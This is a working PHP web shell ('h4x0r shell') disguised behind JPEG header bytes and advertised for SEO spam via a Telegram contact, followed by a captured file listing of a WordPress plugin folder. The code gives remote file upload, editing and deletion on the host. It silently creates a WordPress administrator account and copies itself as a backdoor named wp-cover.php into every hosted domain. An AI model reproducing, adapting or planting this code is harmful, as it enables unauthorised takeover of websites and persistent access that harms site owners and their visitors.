����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
error_reporting(0);
// =============================================
// BOOTSTRAP & CONFIGURATION
// =============================================
define('VERSION', '3.0');
define('THEME', 'matrix');
$current_dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$current_dir = realpath($current_dir);
if ($current_dir === false) {
$current_dir = getcwd();
}
$parent_dir = dirname($current_dir);
if ($parent_dir == $current_dir) {
$parent_dir = false;
}
// =============================================
// UTILITY FUNCTIONS
// =============================================
function human_size($bytes, $dec = 2) {
$size = ['B', 'KB', 'MB', 'GB', 'TB'];
$factor = floor((strlen($bytes) - 1) / 3);
return sprintf("%.{$dec}f", $bytes / pow(1024, $factor)) . ' ' . $size[$factor];
}
function rand_pass($len = 14) {
$pool = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%';
return substr(str_shuffle(str_repeat($pool, 5)), 0, $len);
}
function get_domain_from_path($path) {
$doc_root = $_SERVER['DOCUMENT_ROOT'] ?? '';
$host = $_SERVER['HTTP_HOST'] ?? 'localhost';
$proto = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https://' : 'http://';
if (!empty($doc_root) && strpos($path, $doc_root) === 0) {
$rel = substr($path, strlen($doc_root));
return $proto . $host . $rel;
}
$cursor = $path;
while ($cursor && $cursor != '/') {
if (file_exists($cursor . '/wp-config.php')) {
$conf = file_get_contents($cursor . '/wp-config.php');
if (preg_match("/define\(\s*['\"]WP_HOME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $conf, $match)) {
return $match[1];
}
if (preg_match("/define\(\s*['\"]WP_SITEURL['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $conf, $match)) {
return $match[1];
}
}
$cursor = dirname($cursor);
}
return null;
}
// =============================================
// AUTO CLONE DEPLOYER
// =============================================
$deployed = [];
if (isset($_GET['auto_clone'])) {
$target_base = $current_dir;
$created = [];
if (basename($current_dir) !== 'domains') {
$up = $current_dir;
while ($up && $up != '/') {
if (basename($up) === 'domains') {
$target_base = $up;
break;
}
$up = dirname($up);
}
}
if (is_dir($target_base)) {
$scan = scandir($target_base);
foreach ($scan as $name) {
if ($name === '.' || $name === '..') continue;
$domain_dir = $target_base . '/' . $name;
if (is_dir($domain_dir)) {
$pub = $domain_dir . '/public_html';
if (is_dir($pub)) {
$shelly = $pub . '/wp-cover.php';
if (copy(__FILE__, $shelly)) {
$proto = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https://' : 'http://';
$detected = get_domain_from_path($pub);
$url = $detected ? rtrim($detected, '/') . '/wp-cover.php' : $proto . $name . '/wp-cover.php';
$created[] = ['domain' => $name, 'path' => $shelly, 'url' => $url];
}
}
}
}
}
if (!empty($created)) {
$deployed = $created;
$msg = "✓ Deployed " . count($created) . " backdoors";
$msg_type = 'success';
} else {
$msg = "✗ No public_html folders found under domains";
$msg_type = 'warning';
}
}
// =============================================
// ACTION PROCESSOR
// =============================================
$msg = '';
$msg_type = '';
// WordPress Admin Creator
if (isset($_GET['make_admin'])) {
$wp_root = $current_dir;
$has_wp = false;
while ($wp_root && $wp_root != '/') {
if (file_exists($wp_root . '/wp-load.php')) {
$has_wp = true;
break;
}
$wp_root = dirname($wp_root);
}
if ($has_wp && file_exists($wp_root . '/wp-load.php')) {
require_once($wp_root . '/wp-load.php');
$user = 'sys_' . substr(md5(rand()), 0, 7);
$pass = rand_pass();
$mail = $user . '@' . gethostname() . '.local';
if (function_exists('wp_create_user')) {
if (!username_exists($user) && !email_exists($mail)) {
$uid = wp_create_user($user, $pass, $mail);
if (!is_wp_error($uid)) {
$u = new WP_User($uid);
$u->set_role('administrator');
$msg = "WP Admin Created | ID: $user | PASS: $pass | LOGIN: " . get_site_url() . "/wp-admin";
$msg_type = 'success';
} else {
$msg = "WP Error: " . $uid->get_error_message();
$msg_type = 'error';
}
} else {
$msg = "User or email exists already";
$msg_type = 'warning';
}
} else {
$msg = "WordPress not loaded correctly";
$msg_type = 'error';
}
} else {
$msg = "WordPress not found in this tree";
$msg_type = 'error';
}
}
// File Upload
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['up'])) {
$err = $_FILES['up']['error'];
if ($err === UPLOAD_ERR_OK) {
$dest = $current_dir . '/' . basename($_FILES['up']['name']);
if (move_uploaded_file($_FILES['up']['tmp_name'], $dest)) {
$msg = "Uploaded: " . basename($_FILES['up']['name']);
$msg_type = 'success';
} else {
$msg = "Upload failed";
$msg_type = 'error';
}
}
}
// Create Directory
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['mkdir'])) {
$dname = trim($_POST['dname']);
if ($dname) {
$clean = preg_replace('/[^a-zA-Z0-9_\-\.]/', '', $dname);
$new = $current_dir . '/' . $clean;
if (!file_exists($new)) {
if (mkdir($new, 0755)) {
$msg = "Directory created: $clean";
$msg_type = 'success';
} else {
$msg = "Cannot create directory";
$msg_type = 'error';
}
} else {
$msg = "Already exists";
$msg_type = 'warning';
}
}
}
// Delete item
if (isset($_GET['rm'])) {
$target = $current_dir . '/' . basename($_GET['rm']);
if (file_exists($target)) {
$ok = is_dir($target) ? rmdir($target) : unlink($target);
if ($ok) {
header("Location: ?dir=" . urlencode($current_dir));
exit;
}
}
}
// Edit file
if (isset($_GET['edit'])) {
$target = $current_dir . '/' . basename($_GET['edit']);
if (file_exists($target) && is_file($target)) {
$content = file_get_contents($target);
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_content'])) {
if (file_put_contents($target, $_POST['new_content']) !== false) {
$msg = "Saved: " . basename($_GET['edit']);
$msg_type = 'success';
$content = $_POST['new_content'];
}
}
}
}
// =============================================
// DIRECTORY LISTING
// =============================================
$dirs = [];
$fls = [];
if (is_dir($current_dir) && is_readable($current_dir)) {
$entries = scandir($current_dir);
if ($entries) {
foreach ($entries as $entry) {
if ($entry === '.' || $entry === '..') continue;
$full = $current_dir . '/' . $entry;
$stat = [
'name' => $entry,
'path' => $full,
'mod' => filemtime($full),
'perm' => substr(sprintf('%o', fileperms($full)), -3)
];
if (is_dir($full)) {
$dirs[] = $stat;
} else {
$stat['size'] = filesize($full);
$stat['ext'] = strtolower(pathinfo($entry, PATHINFO_EXTENSION));
$fls[] = $stat;
}
}
}
}
usort($dirs, fn($a, $b) => strcmp($a['name'], $b['name']));
usort($fls, fn($a, $b) => strcmp($a['name'], $b['name']));
// Breadcrumbs
$crumbs = [];
$segments = explode('/', trim($current_dir, '/'));
$accum = '';
$crumbs[] = ['label' => '⚡', 'path' => '/'];
foreach ($segments as $seg) {
if ($seg) {
$accum .= '/' . $seg;
$crumbs[] = ['label' => $seg, 'path' => $accum];
}
}
$domain_info = get_domain_from_path($current_dir);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>h4x0r shell | v<?php echo VERSION; ?></title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background: #0b0b0b;
background-image: radial-gradient(#1a3a1a 0.5px, transparent 0.5px);
background-size: 24px 24px;
font-family: 'Share Tech Mono', 'Courier New', monospace;
padding: 18px;
color: #9eff9e;
}
.matrix-container {
max-width: 1500px;
margin: 0 auto;
}
/* ASCII Border */
.term-box {
background: #0c0c0c;
border: 1px solid #2a5a2a;
border-radius: 0;
box-shadow: 0 0 20px rgba(0, 255, 0, 0.1);
margin-bottom: 20px;
}
.term-header {
background: #0a1a0a;
padding: 10px 16px;
border-bottom: 1px solid #2a5a2a;
color: #5f9f5f;
font-size: 0.8rem;
letter-spacing: 1px;
}
/* Buttons - CLI style */
.cli-btn {
background: #0a0a0a;
border: 1px solid #2a8a2a;
color: #6fdf6f;
padding: 6px 14px;
font-family: monospace;
font-size: 0.8rem;
cursor: pointer;
transition: all 0.1s linear;
text-decoration: none;
display: inline-flex;
align-items: center;
gap: 8px;
}
.cli-btn:hover {
background: #1a3a1a;
color: #bfffbf;
border-color: #3fbf3f;
box-shadow: 0 0 6px #2f9f2f;
}
.btn-green {
background: #0f2f0f;
border-color: #3fbf3f;
color: #bfefbf;
}
.btn-red {
border-color: #8f3f3f;
color: #ef9f9f;
}
.btn-red:hover { background: #2f1a1a; border-color: #df5f5f; }
.btn-cyan {
border-color: #2f8f8f;
color: #8fefef;
}
/* Links */
a {
color: #8fef8f;
text-decoration: none;
}
a:hover {
color: #cfefcf;
text-shadow: 0 0 3px #1f9f1f;
}
/* Breadcrumb */
.crumb-line {
background: #0a0f0a;
padding: 12px 16px;
border: 1px solid #1f3f1f;
display: flex;
flex-wrap: wrap;
gap: 6px;
font-size: 0.85rem;
}
.crumb {
background: #0f1a0f;
padding: 4px 10px;
border-left: 2px solid #2faf2f;
}
/* Quick Nav */
.nav-strip {
background: #0a0a0a;
padding: 10px 16px;
border: 1px solid #1f3f1f;
display: flex;
flex-wrap: wrap;
gap: 8px;
align-items: center;
}
.nav-pill {
background: #0f120f;
padding: 5px 12px;
border: 1px solid #2a4a2a;
font-size: 0.75rem;
}
/* Controls */
.control-panel {
background: #0a0a0a;
border: 1px solid #1f3f1f;
padding: 16px;
display: flex;
flex-wrap: wrap;
gap: 16px;
margin-bottom: 20px;
}
.ctrl-group {
background: #0c0c0c;
border: 1px solid #1a3a1a;
padding: 6px 12px;
display: flex;
gap: 8px;
align-items: center;
}
.ctrl-group input {
background: #0a0a0a;
border: 1px solid #2a5a2a;
padding: 6px 10px;
color: #9eff9e;
font-family: monospace;
}
.ctrl-group input:focus {
outline: none;
border-color: #5fef5f;
}
/* 2 columns */
.two-col {
display: grid;
grid-template-columns: 1fr 300px;
gap: 20px;
}
/* Messages */
.msg {
padding: 10px 16px;
margin-bottom: 18px;
border-left: 4px solid;
background: #0a0f0a;
}
.msg-suc { border-left-color: #2fdf2f; color: #afefaf; }
.msg-err { border-left-color: #df4f4f; color: #efafaf; }
.msg-warn { border-left-color: #efbf2f; color: #efdfaf; }
/* Cards */
.section-title {
color: #7fcf7f;
font-size: 0.9rem;
margin: 20px 0 12px 0;
padding-left: 8px;
border-left: 3px solid #2faf2f;
text-transform: uppercase;
}
.file-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(240px, 1fr));
gap: 12px;
}
.fs-card {
background: #0c0f0c;
border: 1px solid #1a3a1a;
padding: 12px;
transition: 0.1s linear;
}
.fs-card:hover {
border-color: #3fbf3f;
background: #0f150f;
}
.card-icon {
font-size: 1.8rem;
opacity: 0.9;
}
.card-name {
font-size: 0.85rem;
font-weight: bold;
word-break: break-all;
margin: 6px 0;
}
.card-meta {
font-size: 0.65rem;
color: #5f8f5f;
border-top: 1px dashed #1a3a1a;
padding: 5px 0;
}
.card-actions {
display: flex;
gap: 8px;
margin-top: 8px;
}
.mini-btn {
background: #0f120f;
border: 1px solid #2a5a2a;
padding: 4px 10px;
font-size: 0.65rem;
font-family: monospace;
cursor: pointer;
}
/* Sidebar */
.side-card {
background: #0a0f0a;
border: 1px solid #1f3f1f;
padding: 14px;
margin-bottom: 18px;
}
.side-title {
color: #8fdf8f;
border-bottom: 1px solid #1f4f1f;
padding-bottom: 6px;
margin-bottom: 12px;
font-size: 0.85rem;
}
.info-row {
font-size: 0.75rem;
padding: 6px 0;
border-bottom: 1px dotted #1a3a1a;
}
/* Editor Matrix */
.code-editor {
border: 1px solid #2a6a2a;
}
.code-editor textarea {
width: 100%;
min-height: 480px;
background: #050a05;
border: none;
color: #9bef9b;
font-family: 'Share Tech Mono', monospace;
font-size: 0.8rem;
padding: 16px;
resize: vertical;
}
/* Deployed clones */
.clone-badge {
background: #0f2f0f;
padding: 8px 12px;
border-left: 2px solid #2fcf2f;
margin-bottom: 6px;
font-size: 0.7rem;
}
/* Footer */
.footer-bar {
margin-top: 24px;
background: #090c09;
border: 1px solid #1a3a1a;
padding: 10px 16px;
font-size: 0.7rem;
display: flex;
justify-content: space-between;
color: #5f8f5f;
}
@media (max-width: 760px) {
.two-col { grid-template-columns: 1fr; }
.control-panel { flex-direction: column; }
}
</style>
</head>
<body>
<div class="matrix-container">
<!-- Terminal Header -->
<div class="term-box">
<div class="term-header">
<span>┌─[ h4x0r::shell ]─[<?php echo php_uname('n'); ?>]</span><br>
<span>└─[<?php echo date('Y-m-d H:i:s'); ?>]</span>
<?php if ($domain_info): ?>
<span style="float:right;">🌐 <?php echo htmlspecialchars(parse_url($domain_info, PHP_URL_HOST) ?: $domain_info); ?></span>
<?php endif; ?>
</div>
</div>
<!-- Breadcrumb -->
<div class="crumb-line">
<?php foreach ($crumbs as $idx => $cr): ?>
<a href="?dir=<?php echo urlencode($cr['path']); ?>" class="crumb"><?php echo htmlspecialchars($cr['label']); ?></a>
<?php if ($idx < count($crumbs)-1): ?><span style="color:#2a5a2a;">/</span><?php endif; ?>
<?php endforeach; ?>
</div>
<!-- Quick Nav -->
<div class="nav-strip">
<span style="color:#2f8f2f;">❯</span>
<?php if ($parent_dir): ?>
<a href="?dir=<?php echo urlencode($parent_dir); ?>" class="nav-pill">[..] parent</a>
<?php endif; ?>
<a href="?dir=/" class="nav-pill">/root</a>
<a href="?dir=/home" class="nav-pill">~/home</a>
<a href="?dir=/var/www" class="nav-pill">/www</a>
<a href="?dir=/tmp" class="nav-pill">/tmp</a>
<a href="?dir=<?php echo urlencode($current_dir); ?>&auto_clone=1" class="nav-pill" style="background:#1f3f1f;">[auto-clone]</a>
</div>
<!-- Controls Panel -->
<div class="control-panel">
<div class="ctrl-group">
<form method="post" enctype="multipart/form-data" style="display:flex; gap:6px;">
<input type="file" name="up">
<button type="submit" class="cli-btn">⇑ upload</button>
</form>
</div>
<div class="ctrl-group">
<form method="post" style="display:flex; gap:6px;">
<input type="text" name="dname" placeholder="dirname" size="12">
<button type="submit" name="mkdir" value="1" class="cli-btn btn-green">mkdir</button>
</form>
</div>
<div class="ctrl-group">
<a href="?dir=<?php echo urlencode($current_dir); ?>&make_admin=1" class="cli-btn btn-cyan">⚡ wp admin</a>
<a href="?dir=<?php echo urlencode($current_dir); ?>" class="cli-btn">⟳ refresh</a>
</div>
</div>
<!-- Messages -->
<?php if ($msg): ?>
<div class="msg msg-<?php echo $msg_type === 'success' ? 'suc' : ($msg_type === 'error' ? 'err' : 'warn'); ?>">
<?php echo htmlspecialchars($msg); ?>
</div>
<?php endif; ?>
<!-- Deployed clones notification -->
<?php if (!empty($deployed)): ?>
<div class="side-card" style="border-color:#3fbf3f;">
<div class="side-title">📡 backdoors deployed (wp-cover.php)</div>
<?php foreach ($deployed as $d): ?>
<div class="clone-badge">
🌐 <a href="<?php echo htmlspecialchars($d['url']); ?>" target="_blank" style="color:#9fef9f;"><?php echo htmlspecialchars($d['url']); ?></a>
<span style="color:#6faf6f;">[<?php echo htmlspecialchars($d['domain']); ?>]</span>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
<!-- Main 2 columns -->
<div class="two-col">
<!-- LEFT: file manager -->
<div>
<?php if (isset($content)): ?>
<!-- Editor view -->
<div class="code-editor">
<div class="term-header" style="display:flex; justify-content:space-between;">
<span>✎ editing: <?php echo htmlspecialchars(basename($_GET['edit'])); ?></span>
<a href="?dir=<?php echo urlencode($current_dir); ?>" class="cli-btn">← back</a>
</div>
<form method="post">
<textarea name="new_content"><?php echo htmlspecialchars($content); ?></textarea>
<div style="padding:12px; background:#0a0f0a; border-top:1px solid #1f4f1f;">
<button type="submit" class="cli-btn btn-green">💾 save changes</button>
</div>
</form>
</div>
<?php else: ?>
<!-- Directory listing -->
<?php if (!empty($dirs)): ?>
<div class="section-title">📂 directories (<?php echo count($dirs); ?>)</div>
<div class="file-grid">
<?php foreach ($dirs as $d): ?>
<div class="fs-card">
<div class="card-icon">📁</div>
<div class="card-name"><?php echo htmlspecialchars($d['name']); ?></div>
<div class="card-meta">📅 <?php echo date('m-d H:i', $d['mod']); ?> | perm <?php echo $d['perm']; ?></div>
<div class="card-actions">
<a href="?dir=<?php echo urlencode($d['path']); ?>" class="mini-btn">open</a>
<a href="?dir=<?php echo urlencode($current_dir); ?>&rm=<?php echo urlencode($d['name']); ?>" class="mini-btn" onclick="return confirm('rmdir?')" style="border-color:#8f4f4f;">rm</a>
</div>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
<?php if (!empty($fls)): ?>
<div class="section-title">📄 files (<?php echo count($fls); ?>)</div>
<div class="file-grid">
<?php foreach ($fls as $f):
$ico = '📄';
if ($f['ext'] === 'php') $ico = '🐘';
elseif (in_array($f['ext'], ['jpg','png','gif','jpeg'])) $ico = '🖼️';
elseif ($f['ext'] === 'sql') $ico = '🗄️';
elseif ($f['ext'] === 'sh') $ico = '⚙️';
?>
<div class="fs-card">
<div class="card-icon"><?php echo $ico; ?></div>
<div class="card-name"><?php echo htmlspecialchars($f['name']); ?></div>
<div class="card-meta">💾 <?php echo human_size($f['size']); ?> | 📅 <?php echo date('m-d H:i', $f['mod']); ?></div>
<div class="card-actions">
<a href="?dir=<?php echo urlencode($current_dir); ?>&edit=<?php echo urlencode($f['name']); ?>" class="mini-btn">edit</a>
<a href="?dir=<?php echo urlencode($current_dir); ?>&rm=<?php echo urlencode($f['name']); ?>" class="mini-btn" onclick="return confirm('rm file?')" style="border-color:#8f4f4f;">rm</a>
</div>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
<?php if (empty($dirs) && empty($fls)): ?>
<div class="side-card" style="text-align:center; padding:40px;">
<span style="font-size:3rem;">[ ␀ ]</span>
<p>empty directory</p>
</div>
<?php endif; ?>
<?php endif; ?>
</div>
<!-- RIGHT: Sidebar -->
<div>
<div class="side-card">
<div class="side-title">💻 sysinfo</div>
<div class="info-row"><strong>pwd:</strong> <?php echo htmlspecialchars($current_dir); ?></div>
<?php if ($domain_info): ?>
<div class="info-row"><strong>domain:</strong> <a href="<?php echo htmlspecialchars($domain_info); ?>" target="_blank"><?php echo htmlspecialchars($domain_info); ?></a></div>
<?php endif; ?>
<div class="info-row"><strong>items:</strong> <?php echo count($dirs); ?> dir / <?php echo count($fls); ?> file</div>
<div class="info-row"><strong>disk:</strong> <?php echo human_size(disk_free_space($current_dir)); ?> free</div>
<div class="info-row"><strong>php:</strong> <?php echo PHP_VERSION; ?></div>
<div class="info-row"><strong>uname:</strong> <?php echo php_uname('s'); ?></div>
</div>
<div class="side-card">
<div class="side-title">⚙️ actions</div>
<div style="display:flex; flex-direction:column; gap:8px;">
<a href="?dir=<?php echo urlencode(dirname(__FILE__)); ?>" class="cli-btn" style="justify-content:center;">📍 script home</a>
<a href="?dir=/var/www/html" class="cli-btn" style="justify-content:center;">🌐 web default</a>
<a href="?dir=<?php echo urlencode($current_dir); ?>&auto_clone=1" class="cli-btn btn-green" style="justify-content:center;">📡 auto clone deploy</a>
</div>
</div>
<?php if (strpos($current_dir, 'domains') !== false || basename($current_dir) === 'domains'): ?>
<div class="side-card">
<div class="side-title">🌐 domain hunter</div>
<a href="?auto_clone=1&dir=<?php echo urlencode($current_dir); ?>" class="cli-btn btn-green" style="width:100%; text-align:center;">⇢ deploy to all domains</a>
</div>
<?php endif; ?>
</div>
</div>
<!-- Footer status -->
<div class="footer-bar">
<span>[<?php echo htmlspecialchars($current_dir); ?>]</span>
<span>h4x0r shell // active session</span>
</div>
</div>
<script>
(function() {
// auto hide messages
let msgs = document.querySelectorAll('.msg');
if (msgs.length) {
setTimeout(() => {
msgs.forEach(m => { m.style.opacity = '0'; setTimeout(() => m.remove(), 300); });
}, 4000);
}
// clipboard helper
document.querySelectorAll('.clone-badge a').forEach(el => {
el.addEventListener('click', (e) => {
e.stopPropagation();
let url = el.href;
navigator.clipboard.writeText(url);
let old = el.innerText;
el.innerText = 'copied!';
setTimeout(() => el.innerText = old, 1200);
});
});
// ctrl+s save
document.addEventListener('keydown', (e) => {
if (e.ctrlKey && e.key === 's' && document.querySelector('textarea')) {
e.preventDefault();
document.querySelector('.code-editor button')?.click();
}
if (e.key === 'Escape') {
let backLink = document.querySelector('.code-editor .term-header a');
if (backLink) window.location.href = backLink.href;
}
});
})();
</script>
</body>
</html>| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| admin | Folder | 0755 |
|
|
| includes | Folder | 0755 |
|
|
| languages | Folder | 0755 |
|
|
| LICENSE.txt | File | 18 KB | 0644 |
|
| index.php | File | 27.86 KB | 0644 |
|
| readme.txt | File | 2.44 KB | 0644 |
|
| uninstall.php | File | 1.27 KB | 0644 |
|